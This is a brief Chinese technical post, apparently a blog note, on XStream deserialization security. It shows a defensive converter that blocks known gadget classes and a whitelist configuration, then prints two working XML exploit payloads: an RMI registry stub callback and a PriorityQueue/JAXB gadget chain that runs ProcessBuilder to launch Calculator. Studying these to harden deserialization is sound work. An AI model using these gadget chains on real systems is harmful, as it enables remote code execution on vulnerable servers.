一场XStream的偶遇

AbstractDriver：负责流解析器（支持xml和Json）和编写器的创建。MarshallingStrategy 就是管序列化和反序列化的借口。Mapper: 映射器。XML的elementName通过mapper获取对应类、成员、属性的class对象。ConvertLookup 提供转化器功能。

xstream.registerConverter(new Converter() {                //针对转化器Convert进行过滤                public boolean canConvert(Class type) {                    return type != null                    //可以看到常用的代码执行类都被ban调用了。例如java.lang.ProcessBuilder                    && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class                        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("sun.awt.datatransfer.DataTransferer$IndexOrderComparator")             || type.getName().equals("com.sun.corba.se.impl.activation.ServerTableEntry") || type.getName().equals("com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator")                        //下面这几行ban掉了一些常用的恶意类：ClassLoader、各种反射reflect、jndi                        || type.getName().matches("javafx\.collections\.ObservableList\$.*") ||             type.getName().matches(".*\$ServiceNameIterator")  || type.getName().matches(".*\$GetterSetterReflection")             || type.getName().matches(".*\$LazyIterator") || type.getName().matches(".*\$ProxyLazyValue") || type.getName().matches(".*\.bcel\..*\.util\.ClassLoader")             || type.getName().matches(".*\.ws\.client\.sei\..*") || type.getName().matches("com\.sun\.jndi\..*Enumerat(?:ion|or)")                        || type.getName().endsWith(".$URLData") || type.getName().endsWith(".xsltc.trax.TemplatesImpl")                        || type.getName().startsWith("sun.reflect.") || type.getName().startsWith("sun.tracing.") || type.getName().startsWith("com.sun.corba.")                        || java.io.InputStream.class.isAssignableFrom(type) || java.nio.channels.Channel.isAssignableFrom(type)             || javax.activation.DataSource.isAssignableFrom(type) ||javax.sql.rowset.BaseRowSet.isAssignableFrom(type)                        || Proxy.isProxy(type));                }                //匹配到恶意的就不准反序列化也就是unmarshal                public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {                    throw new ConversionException("Unsupported type due to security reasons.");                }                //匹配到恶意的就不准序列化也就是marshal                public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {                    throw new ConversionException("Unsupported type due to security reasons.");                }            }, XStream.PRIORITY_VERY_HIGH);

XStream xstream = new XStream(); // clear out existing permissions and start a whitelist            xstream.addPermission(NoTypePermission.NONE);            // allow some basics            xstream.addPermission(NullPermission.NULL);            xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); xstream.allowTypeHierarchy(Collection.class);            // allow any type from the same package            xstream.allowTypesByWildcard(new String[] {                Blog.class.getPackage().getName()+".*"            });  

 <sun.rmi.registry.RegistryImpl_Stub serialization="custom">   <java.rmi.server.RemoteObject>     <string>UnicastRef</string>      <string>127.0.0.1</string>      <int>6666</int>      <long>0</long>      <int>0</int>      <long>0</long>      <short>0</short>      <boolean>false</boolean>   </java.rmi.server.RemoteObject> </sun.rmi.registry.RegistryImpl_Stub>             

<java.util.PriorityQueue serialization='custom'>    <unserializable-parents/>    <java.util.PriorityQueue>        <default>            <size>2</size>            <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>                    <packet>                        <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>                            <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>                                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>                                    <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>                                        <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>                                            <jaxbType>java.lang.ProcessBuilder</jaxbType>                                            <uriProperties/>                                            <attributeProperties/>                                            <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>                                                <getter>                                                    <class>java.lang.ProcessBuilder</class>                                                    <name>start</name>                                                    <parameter-types/>                                                </getter>                                            </inheritedAttWildcard>                                        </bi>                                        <tagName/>                                        <context>                                            <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>                                                <outer-class reference='../..'/>                                            </marshallerPool>                                            <nameList>                                                <nsUriCannotBeDefaulted>                                                    <boolean>true</boolean>                                                </nsUriCannotBeDefaulted>                                                <namespaceURIs>                                                    <string>1</string>                                                </namespaceURIs>                                                <localNames>                                                    <string>UTF-8</string>                                                </localNames>                                            </nameList>                                        </context>                                    </bridge>                                </bridge>                                <jaxbObject class='java.lang.ProcessBuilder'>                                    <command>                                        <string>open</string>                                        <string>/System/Applications/Calculator.app</string>                                    </command>                                </jaxbObject>                            </dataSource>                        </message>                        <satellites/>                        <invocationProperties/>                    </packet>                </indexMap>            </comparator>        </default>        <int>3</int>        <string>javax.xml.ws.binding.attachments.inbound</string>        <string>javax.xml.ws.binding.attachments.inbound</string>    </java.util.PriorityQueue></java.util.PriorityQueue>